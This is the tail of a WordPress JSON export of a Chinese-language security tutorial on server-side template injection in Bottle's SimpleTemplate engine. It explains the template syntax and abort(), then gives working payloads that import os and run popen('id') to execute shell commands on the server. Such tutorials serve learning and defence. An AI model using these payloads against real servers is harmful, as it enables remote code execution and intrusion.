#393A34\">popen<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">r<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #393A34\">read<\/span><span style=\"color: #AB5959\">&amp;<\/span><span style=\"color: #393A34\">xq<\/span><span style=\"color: #999999\">=<\/span><span style=\"color: #998418\">id<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">SimpleTemplate<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SimpleTemplate \u662f Bottle \u6846\u67b6\u7684\u9ed8\u8ba4\u6a21\u677f\u5f15\u64ce\u3002Bottle\u662f\u4e00\u4e2a\u8f7b\u91cf\u7ea7\u7684\u5355\u6587\u4ef6 Web \u6846\u67b6\uff0c\u975e\u5e38\u9002\u5408\u7528\u6765\u5feb\u901f\u642d\u5efa\u5c0f\u578b\u5e94\u7528\u3002\u9664\u4e86\u9ed8\u8ba4\u4f7f\u7528\u7684 SimpleTemplate \u6a21\u677f\u5f15\u64ce\uff0c\u652f\u6301 Jinja2 \u7b49\u591a\u79cd\u7b2c\u4e09\u65b9\u5f15\u64ce\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SimpleTemplate \u548c Jinja2 \u4e0d\u540c\u7684\u662f\uff0c\u5728 SimpleTemplate \u4e2d\u53ef\u4ee5\u76f4\u63a5\u6267\u884c python \u8bed\u53e5\u3002SimpleTemplate \u4e2d\u8bed\u53e5\u7684\u6267\u884c\u73af\u5883\u548c python \u89e3\u91ca\u5668\u7684\u73af\u5883\u975e\u5e38\u76f8\u8fd1\u3002<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u8bed\u6cd5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u8868\u8fbe\u5f0f\u6267\u884c<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u548c Jinja2 \u7c7b\u4f3c\u4f46\u6709\u6240\u4e0d\u540c\u7684\u662f SimpleTemplate \u53ef\u4ee5\u901a\u8fc7\u5d4c\u5165 <code>{{code}}<\/code>\u3001<code>&lt;%code%><\/code> \u548c <code>%code<\/code> \u6765\u5b9e\u73b0\u8868\u8fbe\u5f0f\u7684\u6267\u884c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u548c Jinja2 \u4e00\u6837\uff0c\u7528\u6765\u6267\u884c python \u8868\u8fbe\u5f0f\u5e76\u8f93\u51fa\uff1a<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{{code}}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #999999\">{{<\/span><span style=\"color: #393A34\">code<\/span><span style=\"color: #999999\">}}<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884c python \u4ee3\u7801\u4f46\u4e0d\u4f1a\u8f93\u51fa\uff1a<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>&lt;%code%><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #AB5959\">&lt;%<\/span><span style=\"color: #393A34\">code<\/span><span style=\"color: #AB5959\">%&gt;<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884c python \u4ee3\u7801\u4f46\u4e0d\u4f1a\u8f93\u51fa\uff1a<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>%code<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #AB5959\">%<\/span><span style=\"color: #393A34\">code<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0c\u5728 <code>&lt;%code%&gt;<\/code> \u548c <code>%code<\/code> \u4e2d python \u4ee3\u7801\u4e0d\u9700\u8981\u6ce8\u610f\u7f29\u8fdb\u95ee\u9898\uff0c\u4f46\u662f if \u548c for \u8fd9\u6837\u7684\u8bed\u53e5\u9700\u8981\u7528 end \u7ed3\u5c3e\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f46\u662f\u8fd9\u4e24\u79cd\u7528\u6cd5\u9700\u8981\u6ce8\u610f\u4e00\u4e2a\u95ee\u9898\uff0c<code>&lt;%code%&gt;<\/code> \u548c <code>%code<\/code> \u5fc5\u987b\u4f4d\u4e8e\u5355\u72ec\u4e00\u884c\uff0c\u60f3\u4fdd\u8bc1\u8fd9\u4e2a\u524d\u63d0\u53ef\u4ee5\u76f4\u63a5\u5728\u8f93\u5165\u524d\u540e\u52a0\u4e0a <code>\\n<\/code>\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">abort\u51fd\u6570<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">abort \u5728 Bottle \u4e2d\u662f\u4e00\u4e2a\u5feb\u6377\u51fd\u6570\uff0c\u7528\u6765\u4e2d\u6b62\u5f53\u524d\u8bf7\u6c42\u5e76\u8fd4\u56de\u4e00\u4e2a HTTP \u9519\u8bef\u54cd\u5e94\u3002<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>abort(status_code, body)<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #393A34\">abort<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #393A34\">status_code<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> body<\/span><span style=\"color: #999999\">)<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li>status_code\uff1a\u8fd4\u56de\u7684\u54cd\u5e94\u7801<\/li>\n\n\n\n<li>body\uff08\u53ef\u9009\uff09\uff1a\u8fd4\u56de\u7684\u54cd\u5e94\u4f53\uff0c\u53ef\u4ee5\u662f python \u8868\u8fbe\u5f0f\u3002<\/li>\n<\/ul>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">payload<\/h3>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{{__import__('bottle').abort(404,__import__('os').popen(\"id\").read())}}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #999999\">{{<\/span><span style=\"color: #998418\">__import__<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">bottle<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">abort<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #2F798A\">404<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #998418\">__import__<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">os<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">popen<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">id<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">read<\/span><span style=\"color: #999999\">())}}<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>aaa\n&lt;%__import__('bottle').abort(404,__import__('os').popen(\"id\").read())%>\naaa<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #393A34\">aaa<\/span><\/span>\n<span class=\"line\"><span style=\"color: #AB5959\">&lt;%<\/span><span style=\"color: #998418\">__import__<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">bottle<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">abort<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #2F798A\">404<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #998418\">__import__<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">os<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">popen<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">id<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">read<\/span><span style=\"color: #999999\">())<\/span><span style=\"color: #AB5959\">%&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">aaa<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>aaa\n%__import__('bottle').abort(404,__import__('os').popen(\"id\").read())\naaa<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #393A34\">aaa<\/span><\/span>\n<span class=\"line\"><span style=\"color: #AB5959\">%<\/span><span style=\"color: #998418\">__import__<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">bottle<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">abort<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #2F798A\">404<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #998418\">__import__<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">os<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">popen<\/span><span style=\"color: #999999\">(<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #B56959\">id<\/span><span style=\"color: #B5695999\">&quot;<\/span><span style=\"color: #999999\">).<\/span><span style=\"color: #393A34\">read<\/span><span style=\"color: #999999\">())<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">aaa<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"SSTI\uff08Server-Side Template Injection\uff0c\u670d\u52a1\u5668\u7aef\u6a21\u677f\u6ce8\u5165\uff09\u662f\u4e00\u79cd\u5e38\u89c1\u7684 Web \u5b89\u5168\u6f0f\u6d1e\uff0c\u901a\u5e38\u51fa\u73b0\u5728\u4f7f\u7528\u6a21\u677f\u5f15\u64ce\u6e32\u67d3\u52a8\u6001\u5185\u5bb9\u7684 Web \u5e94\u7528\u4e2d\u3002 \u5728\u8bb8\u591a Web \u6846\u67b6\u4e2d\uff0c\u6a21\u677f\u5f15\u64ce\u7528\u4e8e\u5c06\u6570\u636e\u52a8\u6001\u63d2\u5165\u5230 HTML......","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[23],"tags":[41,31,42,43],"class_list":["post-296","post","type-post","status-publish","format-standard","hentry","category-web-security","tag-jinja2","tag-python","tag-simpletemplate","tag-ssti"],"_links":{"self":[{"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/296","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=296"}],"version-history":[{"count":40,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/296\/revisions"}],"predecessor-version":[{"id":494,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/296\/revisions\/494"}],"wp:attachment":[{"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=296"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=296"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=296"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}